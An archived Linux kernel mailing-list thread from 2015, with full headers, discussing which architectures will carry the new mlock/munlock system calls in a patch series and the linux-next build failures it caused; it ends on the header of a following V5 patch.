Original-Received: from kanga.kvack.org ([205.233.56.17])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1ZIe8S-00035h-9a
	for glkm-linux-mm-2@m.gmane.org; Fri, 24 Jul 2015 16:39:40 +0200
Original-Received: by kanga.kvack.org (Postfix)
	id 633DE6B0038; Fri, 24 Jul 2015 10:39:38 -0400 (EDT)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id 5E4266B0253; Fri, 24 Jul 2015 10:39:38 -0400 (EDT)
X-Original-To: int-list-linux-mm@kvack.org
X-Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id 4D32E6B0254; Fri, 24 Jul 2015 10:39:38 -0400 (EDT)
X-Original-To: linux-mm@kvack.org
X-Delivered-To: linux-mm@kvack.org
Original-Received: from mail-qg0-f54.google.com (mail-qg0-f54.google.com [209.85.192.54])
	by kanga.kvack.org (Postfix) with ESMTP id 2946A6B0038
	for <linux-mm@kvack.org>; Fri, 24 Jul 2015 10:39:38 -0400 (EDT)
Original-Received: by qged69 with SMTP id d69so11545351qge.0
        for <linux-mm@kvack.org>; Fri, 24 Jul 2015 07:39:38 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:dkim-signature:date:from:to:cc:subject
         :message-id:references:mime-version:content-type:content-disposition
         :in-reply-to:user-agent;
        bh=0/jshgSAg/HYV0wsgmodI/qNGxeENeSF7DtNbRIc2W4=;
        b=VpBD4UO0xuP2FZ2tex26fpVTW/bcBl2MQBYDRFueSb74pbgSBgDNDgT3CC8f7j6BtT
         dmMGHAH2bZRfclaoH4ZdAuGOFSD6mnVI4MSDxjc4ieV/dy4ypU5vGRL0IpZrxSYYCC7w
         5feRFIYouwuYkeFuHi83NDYfAUKlmGPRpv1hlcniGWYBM6DYQCA4osmfbWfqrkEJ5Ya3
         oT6xz5Hp5GyQ0+wd9LUWDXWw/wA12H3uYmetlktZ0PeUENADRiFJ5zur7fOL9EUkOxbA
         85Mzr3t8NXF852MJQdF6iLlQvm0B/cviPux9GdFWj2mnrIRBJ9e5khRFRTk3vuP+ks86
         HMDQ==
X-Gm-Message-State: ALoCoQlI+WuxySAzOo/0eToW6uRBVD41+F3t8daaOntLXDeIT4kc+vZM7/iD1raUGADONMu2G1IsZAt96mgvZ2yldsQEuaJGAf+OO8CbWQNb3bXPhMMF3Hkj4PE3ipFsq3+9o5IDZMpt2uG0IAfyIro8OQvLJSy9dNQ2Dvksc8QmyJkKqliGWjUHM+IDNfK9Mon2wwd6Kdtu
X-Received: by 10.140.202.84 with SMTP id x81mr21912422qha.50.1437748777987;
        Fri, 24 Jul 2015 07:39:37 -0700 (PDT)
X-Received: by 10.140.202.84 with SMTP id x81mr21912375qha.50.1437748777552;
        Fri, 24 Jul 2015 07:39:37 -0700 (PDT)
Original-Received: from prod-mail-xrelay07.akamai.com ([23.79.238.175])
        by mx.google.com with ESMTP id b34si10268486qkb.72.2015.07.24.07.39.36
        for <linux-mm@kvack.org>;
        Fri, 24 Jul 2015 07:39:37 -0700 (PDT)
Received-SPF: pass (google.com: domain of emunson@akamai.com designates 23.79.238.175 as permitted sender) client-ip=23.79.238.175;
Authentication-Results: mx.google.com;
       spf=pass (google.com: domain of emunson@akamai.com designates 23.79.238.175 as permitted sender) smtp.mail=emunson@akamai.com;
       dkim=pass (test mode) header.i=@akamai.com;
       dmarc=pass (p=NONE dis=NONE) header.from=akamai.com
Original-Received: from prod-mail-xrelay07.akamai.com (localhost.localdomain [127.0.0.1])
	by postfix.imss70 (Postfix) with ESMTP id 3004D47F79;
	Fri, 24 Jul 2015 14:40:22 +0000 (GMT)
Original-Received: from prod-mail-relay06.akamai.com (prod-mail-relay06.akamai.com [172.17.120.126])
	by prod-mail-xrelay07.akamai.com (Postfix) with ESMTP id 164C847F75;
	Fri, 24 Jul 2015 14:40:22 +0000 (GMT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=akamai.com; s=a1;
	t=1437748822; bh=1Y8OL30feOatrroErMW/c7oeoTeQepmh1PZOZsOnngM=;
	h=Date:From:To:Cc:Subject:References:In-Reply-To:From;
	b=qUM/fnGnReUrStF/5ABTAaKIg9uVkQWN6RlaXKrXOR+5dOGdBszpmJCkHnR7wIgwg
	 9wJEIInogl0gwVz2Ri0jg5JODyAa3iNFpW8GSwWHWXqVgnQVHpUU7vLVhYF6dodJXg
	 nv7ajeC4//J5yKSwLeNqseNUJxkCSJX+3q8GmMho=
Original-Received: from akamai.com (lappy-486.kendall.corp.akamai.com [172.28.12.253])
	by prod-mail-relay06.akamai.com (Postfix) with ESMTP id 820772252;
	Fri, 24 Jul 2015 14:39:36 +0000 (GMT)
Content-Disposition: inline
In-Reply-To: <20150723065830.GA5919@linux-mips.org>
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.4
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:136266 gmane.linux.ports.mips.general:49561 gmane.linux.ports.m68k:7383 gmane.linux.ports.ia64:25621 gmane.linux.ports.sh.devel:47489 gmane.linux.ports.sparc:21283 gmane.linux.kernel.cross-arch:28581 gmane.linux.ports.arm.kernel:428884 gmane.linux.ports.parisc:25865 gmane.linux.kernel.api:13132 gmane.linux.kernel:2004142 gmane.linux.ports.alpha:3229 gmane.linux.ports.ppc64.devel:115794
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/136266>


--+JUInw4efm7IfTNU
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Thu, 23 Jul 2015, Ralf Baechle wrote:

> On Wed, Jul 22, 2015 at 10:15:01AM -0400, Eric B Munson wrote:
>=20
> > >=20
> > > You haven't wired it up properly on powerpc, but I haven't mentioned =
it because
> > > I'd rather we did it.
> > >=20
> > > cheers
> >=20
> > It looks like I will be spinning a V5, so I will drop all but the x86
> > system calls additions in that version.
>=20
> The MIPS bits are looking good however, so
>=20
> Acked-by: Ralf Baechle <ralf@linux-mips.org>
>=20
> With my ack, will you keep them or maybe carry them as a separate patch?

I will keep the MIPS additions as a separate patch in the series, though
I have dropped two of the new syscalls after some discussion.  So I will
not include your ack on the new patch.

Eric

--+JUInw4efm7IfTNU
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: Digital signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1

iQIcBAEBAgAGBQJVsk4oAAoJELbVsDOpoOa9Eo0QAJ6eViChMf3Imw2HLUBOL+qS
B7hozSCTuKLHaqx8QBhkjX6yqn0FIa5+TUWk76Py3JA00geQAiSWGmmZidLmdkmL
QqZgrvi6B/hsDx4qhNk3wsTpeOtRL6JfpM0CI42Y5JO9nXvp/mpEJyHIRbrvlOtG
GdRPYjyf1gXqwFaOJel7/GvPhRxMh0vkIr78XqNZOQovWL9cfvaUGaZmLGcLJq78
PPYyuZ53AmNg83C8wDpgPfdgQ/L4ob+mZJIcP8purUXHpu7Xu7KbePkdoPqZ1EDT
zRias9nrfrQQTCYaga4MM6wMa2S+iDNPq6Ae+sI6eoDyMxhjuUEi4xxHZ9HGwSIm
Ii5cbD5//xbOHceAPuQ0lhvWH06ip6OVEXx68ACl7p46Ebi7B2jOeSyKH3UNpomS
37NdAdUk3PlC3r3CwoPS2XXYjthQr8rVLVqoZP1wC4KxHanglXzFv+AwyLwRCQJ3
6WevOpUmjVstR67EZBXmHMC4yVGxwF9TdC15G4coZEBw8wcLV6rC2TuK1KZw5JHR
1yIJtZIBQmNoFkGwNWggIFsDiOasKmgUjjHY/yPPrn0MTkCy69zrnkqzoKZQEIoE
MXYJiYfYFy7Ek7/K7u/lCjJI0X1bXk3QTmNrX5BuVzQPtV8jdzcBzl4SQhFGc7IH
4GNpeBolyRBy2p7wt0lO
=/Udu
-----END PGP SIGNATURE-----

--+JUInw4efm7IfTNU--

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:37:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guenter Roeck <linux-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org>
Newsgroups: gmane.linux.kernel.api,gmane.linux.ports.mips.general,gmane.linux.ports.m68k,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.kernel.mm,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH V4 2/6] mm: mlock: Add new mlock, munlock, and munlockall
 system calls
Date: Fri, 24 Jul 2015 08:46:38 -0700
Lines: 35
Approved: news@gmane.org
Message-ID: <55B25DDE.8090107@roeck-us.net>
References: <1437508781-28655-1-git-send-email-emunson@akamai.com> <1437508781-28655-3-git-send-email-emunson@akamai.com> <20150721134441.d69e4e1099bd43e56835b3c5@linux-foundation.org> <1437528316.16792.7.camel@ellerman.id.au> <20150722141501.GA3203@akamai.com> <20150723065830.GA5919@linux-mips.org> <20150724143936.GE9203@akamai.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1437752825 19101 80.91.229.3 (24 Jul 2015 15:47:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 24 Jul 2015 15:47:05 +0000 (UTC)
Cc: Michael Ellerman <mpe-Gsx/Oe8HsFggBc27wqDAHg@public.gmane.org>,
	Andrew Morton <akpm-de/tnXTf+JLsfHDXvbKv3WD2FQJk+8+b@public.gmane.org>,
	linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org, linux-m68k-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-ia64-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	Catalin Marinas <catalin.marinas-5wv7dgnIgG8@public.gmane.org>,
	Heiko Carstens <heiko.carstens-tA70FqPdS9bQT0dZR+AlfA@public.gmane.org>,
	Michal Hocko <mhocko-AlSwsSmVLrQ@public.gmane.org>, linux-mm-Bw31MaZKKs3YtjvyW6yDsg@public.gmane.org,
	sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	Stephen Rothwell <sfr-3FnU+UHB4dNDw9hX6IcOSA@public.gmane.org>,
	linux-am33-list-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org,
	Geert Uytterhoeven <geert-Td1EMuHUCqxL1ZNQvxDV9g@public.gmane.org>,
	Vlastimil Babka <vbabka-AlSwsSmVLrQ@public.gmane.org>,
	linux-xtensa-PjhNF2WwrV/0Sa2dR60CXw@public.gmane.org, linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	adi-buildroot-devel-5NWGOfrQmneRv+LV9MX5uipxlwaOVQ5f@public.gmane.org,
	linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org, linux-cris-kernel-VrBV9hrLPhE@public.gmane.org,
	linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-api-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linuxppc-dev-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org
To: Eric B Munson <emunson-JqFfY2XvxFXQT0dZR+AlfA@public.gmane.org>,
	Ralf Baechle <ralf-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org>
Original-X-From: linux-api-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org Fri Jul 24 17:46:54 2015
Return-path: <linux-api-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Envelope-to: glka-linux-api-wOFGN7rlS/M9smdsby/KFg@public.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-api-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>)
	id 1ZIfBU-0008Dj-Lf
	for glka-linux-api-wOFGN7rlS/M9smdsby/KFg@public.gmane.org; Fri, 24 Jul 2015 17:46:53 +0200
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org via listexpand
	id S1752856AbbGXPqt (ORCPT <rfc822;glka-linux-api@m.gmane.org>);
	Fri, 24 Jul 2015 11:46:49 -0400
Original-Received: from bh-25.webhostbox.net ([208.91.199.152]:35287 "EHLO
	bh-25.webhostbox.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752329AbbGXPqs (ORCPT
	<rfc822;linux-api-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>); Fri, 24 Jul 2015 11:46:48 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=roeck-us.net; s=default;
	h=Content-Transfer-Encoding:Content-Type:In-Reply-To:References:Subject:CC:To:MIME-Version:From:Date:Message-ID; bh=G8h0IJvUJ5PpgYObn01To/5kjX5o5MWGUIUraLwVNyw=;
	b=pNgDvCLLcpVkBdoDTPjTj5lcO9ExTNiOoiLLJh7btILk6Qhd3n4xXov3aG4jipTyA2t0C2WPHrPtHfAMHuf38jQxZuCf4km6et5YaCC2GSST/TqLWzIRXvgue97R2FJfKlnhNH2lgRM+qHAJgYFQOnn7KXidgPUXYwXTufrtBVk=;
Original-Received: from 108-223-40-66.lightspeed.sntcca.sbcglobal.net ([108.223.40.66]:37044 helo=server.roeck-us.net)
	by bh-25.webhostbox.net with esmtpsa (TLSv1:DHE-RSA-AES128-SHA:128)
	(Exim 4.85)
	(envelope-from <linux-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org>)
	id 1ZIfBK-003HmO-Ob; Fri, 24 Jul 2015 15:46:43 +0000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Thunderbird/31.7.0
In-Reply-To: <20150724143936.GE9203-JqFfY2XvxFXQT0dZR+AlfA@public.gmane.org>
X-Authenticated_sender: linux-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org
X-OutGoing-Spam-Status: No, score=0.0
X-AntiAbuse: This header was added to track abuse, please include it with any abuse report
X-AntiAbuse: Primary Hostname - bh-25.webhostbox.net
X-AntiAbuse: Original Domain - vger.kernel.org
X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12]
X-AntiAbuse: Sender Address Domain - roeck-us.net
X-Get-Message-Sender-Via: bh-25.webhostbox.net: authenticated_id: linux-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org
X-Source: 
X-Source-Args: 
X-Source-Dir: 
Original-Sender: linux-api-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Precedence: bulk
List-ID: <linux-api.vger.kernel.org>
X-Mailing-List: linux-api-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.api:13134 gmane.linux.ports.mips.general:49566 gmane.linux.ports.m68k:7384 gmane.linux.ports.ia64:25623 gmane.linux.ports.sh.devel:47494 gmane.linux.kernel.mm:136273 gmane.linux.ports.sparc:21284 gmane.linux.kernel.cross-arch:28587 gmane.linux.ports.arm.kernel:428925 gmane.linux.ports.parisc:25866 gmane.linux.kernel:2004203 gmane.linux.ports.alpha:3230 gmane.linux.ports.ppc64.devel:115800
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.api/13134>

On 07/24/2015 07:39 AM, Eric B Munson wrote:
> On Thu, 23 Jul 2015, Ralf Baechle wrote:
>
>> On Wed, Jul 22, 2015 at 10:15:01AM -0400, Eric B Munson wrote:
>>
>>>>
>>>> You haven't wired it up properly on powerpc, but I haven't mentioned it because
>>>> I'd rather we did it.
>>>>
>>>> cheers
>>>
>>> It looks like I will be spinning a V5, so I will drop all but the x86
>>> system calls additions in that version.
>>
>> The MIPS bits are looking good however, so
>>
>> Acked-by: Ralf Baechle <ralf-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org>
>>
>> With my ack, will you keep them or maybe carry them as a separate patch?
>
> I will keep the MIPS additions as a separate patch in the series, though
> I have dropped two of the new syscalls after some discussion.  So I will
> not include your ack on the new patch.
>
> Eric
>

Hi Eric,

next-20150724 still has some failures due to this patch set. Are those
being looked at (I know parisc builds fail, but there may be others) ?

Thanks,
Guenter


From - Thu Nov 08 21:37:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Eric B Munson <emunson@akamai.com>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.ports.mips.general,gmane.linux.ports.m68k,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.api,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH V4 2/6] mm: mlock: Add new mlock, munlock, and munlockall
 system calls
Date: Fri, 24 Jul 2015 11:53:13 -0400
Lines: 82
Approved: news@gmane.org
Message-ID: <20150724155313.GF9203@akamai.com>
References: <1437508781-28655-1-git-send-email-emunson@akamai.com>
 <1437508781-28655-3-git-send-email-emunson@akamai.com>
 <20150721134441.d69e4e1099bd43e56835b3c5@linux-foundation.org>
 <1437528316.16792.7.camel@ellerman.id.au>
 <20150722141501.GA3203@akamai.com>
 <20150723065830.GA5919@linux-mips.org>
 <20150724143936.GE9203@akamai.com>
 <55B25DDE.8090107@roeck-us.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="iBwuxWUsK/REspAd"
X-Trace: ger.gmane.org 1437753211 25536 80.91.229.3 (24 Jul 2015 15:53:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 24 Jul 2015 15:53:31 +0000 (UTC)
Cc: Ralf Baechle <ralf@linux-mips.org>,
	Michael Ellerman <mpe@ellerman.id.au>,
	Andrew Morton <akpm@linux-foundation.org>,
	linux-mips@linux-mips.org, linux-m68k@vger.kernel.org,
	linux-ia64@vger.kernel.org, linux-sh@vger.kernel.org,
	Catalin Marinas <catalin.marinas@arm.com>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	Michal Hocko <mhocko@suse.cz>, linux-mm@kvack.org,
	sparclinux@vger.kernel.org, linux-arch@vger.kernel.org,
	Stephen Rothwell <sfr@canb.auug.org.au>, linux-am33-list@redhat.com,
	Geert Uytterhoeven <geert@linux-m68k.org>,
	Vlastimil Babka <vbabka@suse.cz>, linux-xtensa@linux-xtensa.org,
	linux-s390@vger.kernel.org,
	adi-buildroot-devel@lists.sourceforge.net,
	linux-arm-kernel@lists.infradead.org, linux-cris-kernel@axis.com,
	linux-parisc@vger.kernel.org, linux-api@vger.kernel.org,
	linux-kernel@vger.kernel.org, linux-alpha@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.or
To: Guenter Roeck <linux@roeck-us.net>
Original-X-From: owner-linux-mm@kvack.org Fri Jul 24 17:53:18 2015
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1ZIfHg-0004mN-IH
	for glkm-linux-mm-2@m.gmane.org; Fri, 24 Jul 2015 17:53:16 +0200
Original-Received: by kanga.kvack.org (Postfix)
	id 227146B0254; Fri, 24 Jul 2015 11:53:15 -0400 (EDT)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id 1FDD36B0255; Fri, 24 Jul 2015 11:53:15 -0400 (EDT)
X-Original-To: int-list-linux-mm@kvack.org
X-Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id 0EC646B0256; Fri, 24 Jul 2015 11:53:15 -0400 (EDT)
X-Original-To: linux-mm@kvack.org
X-Delivered-To: linux-mm@kvack.org
Original-Received: from mail-qk0-f177.google.com (mail-qk0-f177.google.com [209.85.220.177])
	by kanga.kvack.org (Postfix) with ESMTP id DA4356B0254
	for <linux-mm@kvack.org>; Fri, 24 Jul 2015 11:53:14 -0400 (EDT)
Original-Received: by qkbm65 with SMTP id m65so16744841qkb.2
        for <linux-mm@kvack.org>; Fri, 24 Jul 2015 08:53:14 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:dkim-signature:date:from:to:cc:subject
         :message-id:references:mime-version:content-type:content-disposition
         :in-reply-to:user-agent;
        bh=2nsBWp8uLJablA71E36Bh29EhR+/BbH7fJcHFicyls8=;
        b=g57VR/kruFbqsrEUzOkua3hP/rk8XP1yi0l23FU1uIzdGjaa5p5MlPTur/DMGofnUU
         g3e62y/UpCyd+fwipi1yZmNSLp/ECuTPS+1cB8eOnhSeh5fEptPJa5M2jvF42m5hXDR1
         MwZCIjMbeSeOcQ+yhwjatBbOf1wtypdUklzbuE2Z8TfNyJ1/II9o6iP6K0AY8Es1ls8z
         E+hN6sz9SVmco3wneBUXK6FcfTgRlzDA3JSjy/6M9SB77IZ6H51o2bn8rImnUQvNU16D
         xqIz9Ci+tM9fE457mWMlT0ZE7/3yR6xPvgtqS5UNCFbR3GXCDlkcyb7FEorpn0uj5XFi
         jrKg==
X-Gm-Message-State: ALoCoQnUsIHeK4NAL5d3JpBN8Uo/DkSRbgUPvqbuQO/sejS61SAqnZXtKDrVeNftPUB0F1hJzohYYh4QUjDfdoMJhnJJoqx+fTp1EQET8fkq44OBYRjuGg8rMM7ArD0qpQiAo0gXZmw3SnVlkYDK8VyPjFpfLu0XOLoFQMZR/HUywYe9rNzyJMeSubG3yrY8SI4fISkmYn+B
X-Received: by 10.141.28.147 with SMTP id f141mr22155824qhe.91.1437753194734;
        Fri, 24 Jul 2015 08:53:14 -0700 (PDT)
X-Received: by 10.141.28.147 with SMTP id f141mr22155745qhe.91.1437753194054;
        Fri, 24 Jul 2015 08:53:14 -0700 (PDT)
Original-Received: from prod-mail-xrelay02.akamai.com (prod-mail-xrelay02.akamai.com. [72.246.2.14])
        by mx.google.com with ESMTP id a22si10523832qka.78.2015.07.24.08.53.13
        for <linux-mm@kvack.org>;
        Fri, 24 Jul 2015 08:53:14 -0700 (PDT)
Received-SPF: pass (google.com: domain of emunson@akamai.com designates 72.246.2.14 as permitted sender) client-ip=72.246.2.14;
Authentication-Results: mx.google.com;
       spf=pass (google.com: domain of emunson@akamai.com designates 72.246.2.14 as permitted sender) smtp.mail=emunson@akamai.com;
       dkim=pass (test mode) header.i=@akamai.com;
       dmarc=pass (p=NONE dis=NONE) header.from=akamai.com
Original-Received: from prod-mail-xrelay02.akamai.com (localhost [127.0.0.1])
	by postfix.imss70 (Postfix) with ESMTP id 83CD429250;
	Fri, 24 Jul 2015 15:53:13 +0000 (GMT)
Original-Received: from prod-mail-relay06.akamai.com (prod-mail-relay06.akamai.com [172.17.120.126])
	by prod-mail-xrelay02.akamai.com (Postfix) with ESMTP id 589192920E;
	Fri, 24 Jul 2015 15:53:13 +0000 (GMT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=akamai.com; s=a1;
	t=1437753193; bh=YrqvdTMhyV6/ZHTtE7486Ouq5yvEwkGkzJWMFEfli4s=;
	h=Date:From:To:Cc:Subject:References:In-Reply-To:From;
	b=kzPkpmo8LhRwqBfb4gxeqYPqG1c5t12YajyeeK/YoHJxQ4Uykdsj06NMH9zEVP4OB
	 ZYkyBbwm+C7GLGAS2TWAzOY98CvRbruioeN9xYVkcP8OI1FWuXoRbf76zZFkcoEDyF
	 1tvL9FDXkyazWSPEzjCQokna2Vofy8mvsX02EHSE=
Original-Received: from akamai.com (lappy-486.kendall.corp.akamai.com [172.28.12.253])
	by prod-mail-relay06.akamai.com (Postfix) with ESMTP id 5164E202A;
	Fri, 24 Jul 2015 15:53:13 +0000 (GMT)
Content-Disposition: inline
In-Reply-To: <55B25DDE.8090107@roeck-us.net>
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.4
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:136275 gmane.linux.ports.mips.general:49568 gmane.linux.ports.m68k:7385 gmane.linux.ports.ia64:25624 gmane.linux.ports.sh.devel:47495 gmane.linux.ports.sparc:21285 gmane.linux.kernel.cross-arch:28589 gmane.linux.ports.arm.kernel:428931 gmane.linux.ports.parisc:25867 gmane.linux.kernel.api:13135 gmane.linux.kernel:2004212 gmane.linux.ports.alpha:3231 gmane.linux.ports.ppc64.devel:115802
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/136275>


--iBwuxWUsK/REspAd
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Fri, 24 Jul 2015, Guenter Roeck wrote:

> On 07/24/2015 07:39 AM, Eric B Munson wrote:
> >On Thu, 23 Jul 2015, Ralf Baechle wrote:
> >
> >>On Wed, Jul 22, 2015 at 10:15:01AM -0400, Eric B Munson wrote:
> >>
> >>>>
> >>>>You haven't wired it up properly on powerpc, but I haven't mentioned =
it because
> >>>>I'd rather we did it.
> >>>>
> >>>>cheers
> >>>
> >>>It looks like I will be spinning a V5, so I will drop all but the x86
> >>>system calls additions in that version.
> >>
> >>The MIPS bits are looking good however, so
> >>
> >>Acked-by: Ralf Baechle <ralf@linux-mips.org>
> >>
> >>With my ack, will you keep them or maybe carry them as a separate patch?
> >
> >I will keep the MIPS additions as a separate patch in the series, though
> >I have dropped two of the new syscalls after some discussion.  So I will
> >not include your ack on the new patch.
> >
> >Eric
> >
>=20
> Hi Eric,
>=20
> next-20150724 still has some failures due to this patch set. Are those
> being looked at (I know parisc builds fail, but there may be others) ?
>=20
> Thanks,
> Guenter

Guenter,

Yes, the next respin will drop all new arch syscall entries except
x86[_64] and MIPS.  I will leave it up to arch maintainers to add the
entries.

Eric

--iBwuxWUsK/REspAd
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: Digital signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1

iQIcBAEBAgAGBQJVsl9pAAoJELbVsDOpoOa9EEUP/2M1Xsm8+njDOkkKbV0gBjBz
b3xOA+mBrdWvRUHtbhky0XhLX9AQkuolm5Lqel2ldbkHMF2DQtqvQxMCpWJ25dJW
oR5fnuh+arfoOsnEJAJ4Z47Qs/jiVAWHB3jupCxexg5zVZL2BIomII5Ewk00waGw
zHjUYeLYPTn6IE1MWV1Mlbbx+kGCDRz8HgFq8b3WbrgH4pPzqaeSf3wxMnIYVKuL
D/vyOdBOE0dW0Co4GdA3iqZ0JGSKknZUP/F3xB/z67wCkIjh133cUI3oDL/4MKbU
vSac0mG99uhmMPii1kWKyF3OVx3flbHo4IPFDAaUfU1O1OAXHvjezBgL3eLEV3xl
M/BZQZMEGNZjs6+c8oIrFuEvKDc424HRj7bKbBRvv7rXp3oaksyvuJ3mpEJyEhep
O+pSxjZc5J9QaXer+Rdh3yX/hjM/dpnTsUPXTIgPlJcIS8gSc5GxrCOe1hQD7u08
lIxdAs3sI5Tn6iwrjDRq1ySz2NZ2LkfBlliZ41xxt8/kzHvPoieeep2DRDJnpqJG
nyQItitQpzs0vB7UMJV+yrbfSAR+lupvVdfyXjk8fsYPMNPBhWHQKZ6Ky6euTkYs
/BWwZ2nvEjopIBEdrXJ97jJcjsAstFCnCm8V75JOX9KznfD0OUNCB6bg9UpUYQfX
IV8UQYGPDzfVm060LKYD
=SPSa
-----END PGP SIGNATURE-----

--iBwuxWUsK/REspAd--

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:37:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Eric B Munson <emunson@akamai.com>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.kernel.api
Subject: [PATCH V5 4/7] mm: mlock: Add mlock flags to enable VM_LOCKONFAULT usage
Date: Fri, 24 Jul 2015 17:28:42 -0400
